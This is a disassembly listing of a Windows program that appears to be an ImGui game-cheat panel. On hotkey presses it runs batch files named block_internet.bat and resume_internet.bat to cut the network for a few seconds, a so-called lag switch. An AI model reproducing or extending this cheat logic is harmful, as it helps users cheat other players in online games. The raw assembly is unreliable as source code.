xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_8_seg_Activado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_resume_internet.bat
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_8_seg_Desactivado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x140240614]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140047f02
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_block_internet.bat
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_4_seg_Activado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
lea r8, str.C:WindowsTemp_resume_internet.bat
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_4_seg_Desactivado_
lea rcx, [0x14023e2f0]
call fcn.14004ded0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
mov ecx, 0x33
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
shr esi, 0xf
and sil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r14d, ax
mov ecx, WSAStartup
shr r14d, 0xf
and r14b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r15d, ax
mov ecx, WSAStartup
shr r15d, 0xf
and r15b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r12d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
shr r12d, 0xf
and r12b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r13d, ax
mov ecx, 0x51
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rbp - 0x80], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x140240598]
movzx r8d, ax
movzx r9d, byte [0x14024057b]
movzx r10d, byte [0x14024064d]
movzx r11d, byte [0x140240611]
shr r8d, 0xf
and r8b, 1
cmp ecx, 1
jne 0x140048017
test bl, bl
je 0x1400481a7
mov edx, dword [rbp - 0x80]
movzx ecx, byte [0x1402405b4]
test r9b, r9b
jne 0x1400481b1
cmp byte [0x14024063d], r9b
sete byte [0x14024063d]
jmp 0x1400481b1
cmp ecx, 2
jne 0x14004804b
test dil, dil
je 0x1400481a7
mov edx, dword [rbp - 0x80]
movzx ecx, byte [0x1402405b4]
test r10b, r10b
jne 0x1400481b1
cmp byte [0x14024063d], r10b
sete byte [0x14024063d]
jmp 0x1400481b1
cmp ecx, 3
jne 0x14004807f
test sil, sil
je 0x1400481a7
mov edx, dword [rbp - 0x80]
movzx ecx, byte [0x1402405b4]
test r11b, r11b
jne 0x1400481b1
cmp byte [0x14024063d], r11b
sete byte [0x14024063d]
jmp 0x1400481b1
cmp ecx, 4
jne 0x1400480b1
movzx ecx, byte [0x1402405b4]
mov edx, dword [rbp - 0x80]
test r14b, r14b
je 0x1400481b1
test cl, cl
jne 0x1400481b1
cmp byte [0x14024063d], cl
sete byte [0x14024063d]
jmp 0x1400481b1
cmp ecx, 5
jne 0x1400480e9
test r15b, r15b
je 0x1400481a7
cmp byte [0x140240619], 0
mov edx, dword [rbp - 0x80]
movzx ecx, byte [0x1402405b4]
jne 0x1400481b1
cmp byte [0x14024063d], 0
sete byte [0x14024063d]
jmp 0x1400481b1
cmp ecx, 6
jne 0x140048121
test r12b, r12b
je 0x1400481a7
cmp byte [0x1402405ce], 0
mov edx, dword [rbp - 0x80]
movzx ecx, byte [0x1402405b4]
jne 0x1400481b1
cmp byte [0x14024063d], 0
sete byte [0x14024063d]
jmp 0x1400481b1
cmp ecx, 7
jne 0x14004814e
test r13b, r13b
je 0x1400481a7
cmp byte [0x14024057f], 0
mov edx, dword [rbp - 0x80]
movzx ecx, byte [0x1402405b4]
jne 0x1400481b1
cmp byte [0x14024063d], 0
sete byte [0x14024063d]
jmp 0x1400481b1
cmp ecx, 8
jne 0x14004817a
mov edx, dword [rbp - 0x80]
test dl, dl
je 0x1400481aa
cmp byte [0x1402405ac], 0
movzx ecx, byte [0x1402405b4]
jne 0x1400481b1
cmp byte [0x14024063d], 0
sete byte [0x14024063d]
jmp 0x1400481b1
cmp ecx, 9
jne 0x1400481a7
test r8b, r8b
je 0x1400481a7
cmp byte [0x140240613], 0
mov edx, dword [rbp - 0x80]
movzx ecx, byte [0x1402405b4]
jne 0x1400481b1
cmp byte [0x14024063d], 0
sete byte [0x14024063d]
jmp 0x1400481b1
mov edx, dword [rbp - 0x80]
movzx ecx, byte [0x1402405b4]
mov eax, dword [0x140261d50]
cmp eax, 1
jne 0x1400481cc
test bl, bl
je 0x140048268
test r9b, r9b
jmp 0x140048258
cmp eax, 2
jne 0x1400481df
test dil, dil
je 0x140048268
test r10b, r10b
jmp 0x140048258
cmp eax, 3
jne 0x1400481ee
test sil, sil
je 0x140048268
test r11b, r11b
jmp 0x140048258
cmp eax, 4
jne 0x1400481fc
test r14b, r14b
je 0x140048268
test cl, cl
jmp 0x140048258
cmp eax, 5
jne 0x14004820f
test r15b, r15b
je 0x140048268
cmp byte [0x140240619], 0
jmp 0x140048258
cmp eax, 6
jne 0x140048222
test r12b, r12b
je 0x140048268
cmp byte [0x1402405ce], 0
jmp 0x140048258
cmp eax, 7
jne 0x140048235
test r13b, r13b
je 0x140048268
cmp byte [0x14024057f], 0
jmp 0x140048258
cmp eax, 8
jne 0x140048247
test dl, dl
je 0x140048268
cmp byte [0x1402405ac], 0
jmp 0x140048258
cmp eax, 9
jne 0x140048268
test r8b, r8b
je 0x140048268
cmp byte [0x140240613], 0
jne 0x140048268
cmp byte [0x140240640], 0
sete byte [0x140240640]
mov eax, dword [0x140261d44]
cmp eax, 1
jne 0x140048283
test bl, bl
je 0x14004831f
test r9b, r9b
jmp 0x14004830f
cmp eax, 2
jne 0x140048296
test dil, dil
je 0x14004831f
test r10b, r10b
jmp 0x14004830f
cmp eax, 3
jne 0x1400482a5
test sil, sil
je 0x14004831f
test r11b, r11b
jmp 0x14004830f
cmp eax, 4
jne 0x1400482b3
test r14b, r14b
je 0x14004831f
test cl, cl
jmp 0x14004830f
cmp eax, 5
jne 0x1400482c6
test r15b, r15b
je 0x14004831f
cmp byte [0x140240619], 0
jmp 0x14004830f
cmp eax, 6
jne 0x1400482d9
test r12b, r12b
je 0x14004831f
cmp byte [0x1402405ce], 0
jmp 0x14004830f
cmp eax, 7
jne 0x1400482ec
test r13b, r13b
je 0x14004831f
cmp byte [0x14024057f], 0
jmp 0x14004830f
cmp eax, 8
jne 0x1400482fe
test dl, dl
je 0x14004831f
cmp byte [0x1402405ac], 0
jmp 0x14004830f
cmp eax, 9
jne 0x14004831f
test r8b, r8b
je 0x14004831f
cmp byte [0x140240613], 0
jne 0x14004831f
cmp byte [0x14024063b], 0
sete byte [0x14024063b]
mov eax, dword [0x1402405b0]
cmp eax, 1
jne 0x14004833a
test bl, bl
je 0x1400483d6
test r9b, r9b
jmp 0x1400483c6
cmp eax, 2
jne 0x14004834d
test dil, dil
je 0x1400483d6
test r10b, r10b
jmp 0x1400483c6
cmp eax, 3
jne 0x14004835c
test sil, sil
je 0x1400483d6
test r11b, r11b
jmp 0x1400483c6
cmp eax, 4
jne 0x14004836a
test r14b, r14b
je 0x1400483d6
test cl, cl
jmp 0x1400483c6
cmp eax, 5
jne 0x14004837d
test r15b, r15b
je 0x1400483d6
cmp byte [0x140240619], 0
jmp 0x1400483c6
cmp eax, 6
jne 0x140048390
test r12b, r12b
je 0x1400483d6
cmp byte [0x1402405ce], 0
jmp 0x1400483c6
cmp eax, 7
jne 0x1400483a3
test r13b, r13b
je 0x1400483d6
cmp byte [0x14024057f], 0
jmp 0x1400483c6
cmp eax, 8
jne 0x1400483b5
test dl, dl
je 0x1400483d6
cmp byte [0x1402405ac], 0
jmp 0x1400483c6
cmp eax, 9
jne 0x1400483d6
test r8b, r8b
je 0x1400483d6
cmp byte [0x140240613], 0
jne 0x1400483d6
cmp byte [0x140240641], 0
sete byte [0x140240641]
mov eax, dword [0x1402405a0]
cmp eax, 1
jne 0x1400483fc
test bl, bl
je 0x140048461
test r9b, r9b
jne 0x140048461
cmp byte [0x140240637], 0
sete al
mov byte [0x140240637], al
jmp 0x140048468
cmp eax, 2
jne 0x14004840b
test dil, dil
je 0x140048461
test r10b, r10b
jmp 0x1400483e8
cmp eax, 3
jne 0x14004841a
test sil, sil
je 0x140048461
test r11b, r11b
jmp 0x1400483e8
cmp eax, 4
jne 0x140048428
test r14b, r14b
je 0x140048461
test cl, cl
jmp 0x1400483e8
cmp eax, 5
jne 0x14004843b
test r15b, r15b
je 0x140048461
cmp byte [0x140240619], 0
jmp 0x1400483e8
cmp eax, 6
jne 0x14004844e
test r12b, r12b
je 0x140048461
cmp byte [0x1402405ce], 0
jmp 0x1400483e8
cmp eax, 7
jne 0x140048461
test r13b, r13b
je 0x140048461
cmp byte [0x14024057f], 0
jmp 0x1400483e8
movzx eax, byte [0x140240637]
mov ecx, dword [0x1402405c0]
cmp ecx, 8
jne 0x14004849d
test dl, dl
je 0x140048643
cmp byte [0x1402405ac], 0
jne 0x140048643
test al, al
sete byte [0x140240637]
cmp byte [0x1402405ac], 0
jmp 0x140048633
cmp ecx, 9
jne 0x1400484c6
test r8b, r8b
je 0x140048643
cmp byte [0x140240613], 0
jne 0x140048643
test al, al
sete byte [0x140240637]
jmp 0x14004862c
cmp ecx, 1
jne 0x1400484f6
test bl, bl
je 0x140048643
movzx ecx, byte [0x1402405b4]
test r9b, r9b
jne 0x14004864a
cmp byte [0x140240638], r9b
sete byte [0x140240638]
jmp 0x14004864a
cmp ecx, 2
jne 0x140048527
test dil, dil
je 0x140048643
movzx ecx, byte [0x1402405b4]
test r10b, r10b
jne 0x14004864a
cmp byte [0x140240638], r10b
sete byte [0x140240638]
jmp 0x14004864a
cmp ecx, 3
jne 0x140048558
test sil, sil
je 0x140048643
movzx ecx, byte [0x1402405b4]
test r11b, r11b
jne 0x14004864a
cmp byte [0x140240638], r11b
sete byte [0x140240638]
jmp 0x14004864a
cmp ecx, 4
jne 0x140048587
movzx ecx, byte [0x1402405b4]
test r14b, r14b
je 0x14004864a
test cl, cl
jne 0x14004864a
cmp byte [0x140240638], cl
sete byte [0x140240638]
jmp 0x14004864a
cmp ecx, 5
jne 0x1400485bc
test r15b, r15b
je 0x140048643
cmp byte [0x140240619], 0
movzx ecx, byte [0x1402405b4]
jne 0x14004864a
cmp byte [0x140240638], 0
sete byte [0x140240638]
jmp 0x14004864a
cmp ecx, 6
jne 0x1400485e6
test r12b, r12b
je 0x140048643
cmp byte [0x1402405ce], 0
movzx ecx, byte [0x1402405b4]
jne 0x14004864a
cmp byte [0x140240638], 0
sete byte [0x140240638]
jmp 0x14004864a
cmp ecx, 7
jne 0x140048610
test r13b, r13b
je 0x140048643
cmp byte [0x14024057f], 0
movzx ecx, byte [0x1402405b4]
jne 0x14004864a
cmp byte [0x140240638], 0
sete byte [0x140240638]
jmp 0x14004864a
cmp ecx, 8
jne 0x140048622
test dl, dl
je 0x140048643
cmp byte [0x1402405ac], 0
jmp 0x140048633
cmp ecx, 9
jne 0x140048643
test r8b, r8b
je 0x140048643
cmp byte [0x140240613], 0
jne 0x140048643
cmp byte [0x140240638], 0
sete byte [0x140240638]
movzx ecx, byte [0x1402405b4]
mov eax, dword [0x1402405a8]
cmp eax, 1
jne 0x140048665
test bl, bl
je 0x140048701
test r9b, r9b
jmp 0x1400486f1
cmp eax, 2
jne 0x140048678
test dil, dil
je 0x140048701
test r10b, r10b
jmp 0x1400486f1
cmp eax, 3
jne 0x140048687
test sil, sil
je 0x140048701
test r11b, r11b
jmp 0x1400486f1
cmp eax, 4
jne 0x140048695
test r14b, r14b
je 0x140048701
test cl, cl
jmp 0x1400486f1
cmp eax, 5
jne 0x1400486a8
test r15b, r15b
je 0x140048701
cmp byte [0x140240619], 0
jmp 0x1400486f1
cmp eax, 6
jne 0x1400486bb
test r12b, r12b
je 0x140048701
cmp byte [0x1402405ce], 0
jmp 0x1400486f1
cmp eax, 7
jne 0x1400486ce
test r13b, r13b
je 0x140048701
cmp byte [0x14024057f], 0
jmp 0x1400486f1
cmp eax, 8
jne 0x1400486e0
test dl, dl
je 0x140048701
cmp byte [0x1402405ac], 0
jmp 0x1400486f1
cmp eax, 9
jne 0x140048701
test r8b, r8b
je 0x140048701
cmp byte [0x140240613], 0
jne 0x140048701
cmp byte [0x14024063e], 0
sete byte [0x14024063e]
mov eax, dword [0x140240694]
cmp eax, 1
jne 0x14004871c
test bl, bl
je 0x1400487d8
test r9b, r9b
jmp 0x1400487c8
cmp eax, 2
jne 0x140048732
test dil, dil
je 0x1400487d8
test r10b, r10b
jmp 0x1400487c8
cmp eax, 3
jne 0x140048748
test sil, sil
je 0x1400487d8
test r11b, r11b
jmp 0x1400487c8
cmp eax, 4
jne 0x14004875a
test r14b, r14b
je 0x1400487d8
test cl, cl
jmp 0x1400487c8
cmp eax, 5
jne 0x14004877f
test r15b, r15b
je 0x1400487d8
cmp byte [0x140240619], 0
jne 0x1400487d8
cmp byte [0x14024063c], 0
sete al
mov byte [0x14024063c], al
jmp 0x1400487df
cmp eax, 6
jne 0x140048792
test r12b, r12b
je 0x1400487d8
cmp byte [0x1402405ce], 0
jmp 0x1400487c8
cmp eax, 7
jne 0x1400487a5
test r13b, r13b
je 0x1400487d8
cmp byte [0x14024057f], 0
jmp 0x1400487c8
cmp eax, 8
jne 0x1400487b7
test dl, dl
je 0x1400487d8
cmp byte [0x1402405ac], 0
jmp 0x1400487c8
cmp eax, 9
jne 0x1400487d8
test r8b, r8b
je 0x1400487d8
cmp byte [0x140240613], 0
jne 0x1400487d8
cmp byte [0x14024063f], 0
sete byte [0x14024063f]
movzx eax, byte [0x14024063c]
mov ecx, dword [0x140240630]
cmp ecx, 1
jne 0x140048810
test bl, bl
je 0x14004895e
movzx ecx, byte [0x1402405b4]
test r9b, r9b
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
cmp ecx, 2
jne 0x14004883c
test dil, dil
je 0x14004895e
movzx ecx, byte [0x1402405b4]
test r10b, r10b
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
cmp ecx, 3
jne 0x140048868
test sil, sil
je 0x14004895e
movzx ecx, byte [0x1402405b4]
test r11b, r11b
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
cmp ecx, 4
jne 0x140048893
movzx ecx, byte [0x1402405b4]
test r14b, r14b
je 0x140048965
test cl, cl
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
cmp ecx, 5
jne 0x1400488c3
test r15b, r15b
je 0x14004895e
cmp byte [0x140240619], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
cmp ecx, 6
jne 0x1400488f0
test r12b, r12b
je 0x14004895e
cmp byte [0x1402405ce], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
cmp ecx, 7
jne 0x140048915
test r13b, r13b
je 0x14004895e
cmp byte [0x14024057f], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
cmp ecx, 8
jne 0x140048939
test dl, dl
je 0x14004895e
cmp byte [0x1402405ac], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
cmp ecx, 9
jne 0x14004895e
test r8b, r8b
je 0x14004895e
cmp byte [0x140240613], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048965
test al, al
sete byte [0x14024063c]
jmp 0x140048965
movzx ecx, byte [0x1402405b4]
mov eax, dword [0x1402406a4]
cmp eax, 1
jne 0x140048980
test bl, bl
je 0x140048a55
test r9b, r9b
jmp 0x140048a45
cmp eax, 2
jne 0x140048996
test dil, dil
je 0x140048a55
test r10b, r10b
jmp 0x140048a45
cmp eax, 3
jne 0x1400489ac
test sil, sil
je 0x140048a55
test r11b, r11b
jmp 0x140048a45
cmp eax, 4
jne 0x1400489c1
test r14b, r14b
je 0x140048a55
test cl, cl
jmp 0x140048a45
cmp eax, 5
jne 0x1400489d8
test r15b, r15b
je 0x140048a55
cmp byte [0x140240619], 0
jmp 0x140048a45
cmp eax, 6
jne 0x1400489fd
test r12b, r12b
je 0x140048a55
cmp byte [0x1402405ce], 0
jne 0x140048a55
movzx eax, byte [0x140240639]
test al, al
sete byte [0x140240636]
jmp 0x140048a5c
cmp eax, 7
jne 0x140048a22
test r13b, r13b
je 0x140048a55
cmp byte [0x14024057f], 0
jne 0x140048a55
cmp byte [0x140240636], 0
sete al
mov byte [0x140240639], al
jmp 0x140048a5c
cmp eax, 8
jne 0x140048a34
test dl, dl
je 0x140048a55
cmp byte [0x1402405ac], 0
jmp 0x140048a45
cmp eax, 9
jne 0x140048a55
test r8b, r8b
je 0x140048a55
cmp byte [0x140240613], 0
jne 0x140048a55
cmp byte [0x140240636], 0
sete byte [0x140240636]
movzx eax, byte [0x140240639]
mov ecx, dword [0x140261da8]
cmp ecx, 1
jne 0x140048a8d
test bl, bl
je 0x140048bdb
movzx ecx, byte [0x1402405b4]
test r9b, r9b
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
cmp ecx, 2
jne 0x140048ab9
test dil, dil
je 0x140048bdb
movzx ecx, byte [0x1402405b4]
test r10b, r10b
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
cmp ecx, 3
jne 0x140048ae5
test sil, sil
je 0x140048bdb
movzx ecx, byte [0x1402405b4]
test r11b, r11b
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
cmp ecx, 4
jne 0x140048b10
movzx ecx, byte [0x1402405b4]
test r14b, r14b
je 0x140048be2
test cl, cl
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
cmp ecx, 5
jne 0x140048b40
test r15b, r15b
je 0x140048bdb
cmp byte [0x140240619], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
cmp ecx, 6
jne 0x140048b6d
test r12b, r12b
je 0x140048bdb
cmp byte [0x1402405ce], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
cmp ecx, 7
jne 0x140048b92
test r13b, r13b
je 0x140048bdb
cmp byte [0x14024057f], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
cmp ecx, 8
jne 0x140048bb6
test dl, dl
je 0x140048bdb
cmp byte [0x1402405ac], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
cmp ecx, 9
jne 0x140048bdb
test r8b, r8b
je 0x140048bdb
cmp byte [0x140240613], 0
movzx ecx, byte [0x1402405b4]
jne 0x140048be2
test al, al
sete byte [0x140240639]
jmp 0x140048be2
movzx ecx, byte [0x1402405b4]
mov eax, dword [0x14024062c]
cmp eax, 1
jne 0x140048bfd
test bl, bl
je 0x140048c99
test r9b, r9b
jmp 0x140048c89
cmp eax, 2
jne 0x140048c10
test dil, dil
je 0x140048c99
test r10b, r10b
jmp 0x140048c89
cmp eax, 3
jne 0x140048c1f
test sil, sil
je 0x140048c99
cmp eax, 4
jne 0x140048c2d
jne 0x140048c99
mov ecx, dword [0x140261d54]
mov byte [0x14024057b], bl
mov byte [0x14024064d], dil
mov byte [0x140240611], sil
mov byte [0x1402405b4], r14b
mov byte [0x140240619], r15b
mov byte [0x1402405ce], r12b
mov byte [0x14024057f], r13b
mov byte [0x1402405ac], dl
mov byte [0x140240613], r8b
test ecx, ecx
je 0x140048d6d
mov rbx, qword [0x140240580]
test rbx, rbx
je 0x14004cd6e
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14004cd92
jmp 0x14004cd71
mov rdi, r12
mov r8d, Ordinal_301
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_last_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140240580]
test rbx, rbx
jne 0x14004cdb8
mov r8d, 0x102f
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_lastimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140240580]
call fcn.1400376c0
mov rcx, qword [rdi]
test rcx, rcx
je 0x14004cdcb
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x90], r12
mov qword [rbx + 0xa0], r12
and dword [rbx + 0xc], 0xfffffff7
mov rax, qword [0x140240580]
test rax, rax
je 0x14004cdef
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140240580]
test rbx, rbx
je 0x14004ce12
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14004ce36
jmp 0x14004ce15
mov rdi, r12
mov r8d, 0xb7
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_last_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140240580]
test rbx, rbx
jne 0x14004ce5c
mov r8d, 0x102f
lea rdx, str.C:UsersArielDesktop_rafa_panel_proyectoRAFA_NEVER_LOSE_neverlose_lastimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140240580]
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x14004ce6b
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rbx + 0x88], r12
mov qword [rbx + 0x98], r12
and dword [rbx + 0xc], 0xfffffff8
mov rax, qword [0x140240580]
test rax, rax
je 0x14004ce8f
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140240580]
mov qword [0x140240580], rbx
call fcn.1400065e0
mov qword [0x140240580], r12
test rbx, rbx
je 0x14004ceda
mov rcx, rbx
call fcn.140020490
mov rax, qword [0x140240580]
test rax, rax
je 0x14004ced1
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140261da0]
test rcx, rcx
je 0x14004cef3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140261da0], r12
mov rcx, qword [0x140261d48]
test rcx, rcx
je 0x14004cf0c
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140261d48], r12
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm6, xmmword [rsp + 0x2c10]
xor eax, eax
movaps xmm7, xmmword [rsp + 0x2c00]
movaps xmm8, xmmword [rsp + 0x2bf0]
mov r13, qword [rsp + 0x2c28]
movaps xmm10, xmmword [rsp + 0x2bd0]
movaps xmm9, xmmword [rsp + 0x2be0]
movaps xmm11, xmmword [rsp + 0x2bc0]
movaps xmm12, xmmword [rsp + 0x2bb0]
movaps xmm13, xmmword [rsp + 0x2ba0]
movaps xmm14, xmmword [rsp + 0x2b90]
movaps xmm15, xmmword [rsp + 0x2b80]
mov r15, qword [rsp + 0x2c20]
mov rdi, qword [rsp + 0x2c60]
mov rsi, qword [rsp + 0x2c58]
mov rbx, qword [rsp + 0x2c50]
mov r12, qword [rsp + 0x2c30]
add rsp, 0x2c38
pop r14
pop rbp
ret
mov rcx, qword [0x140261d48]
mov rdx, qword [0x140261da0]
test rdx, rdx
je 0x14004d137
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140261d48]
mov qword [0x140261da0], r12
test rcx, rcx
je 0x14004d149
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140261d48], r12
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r15d
jmp 0x14004cf8f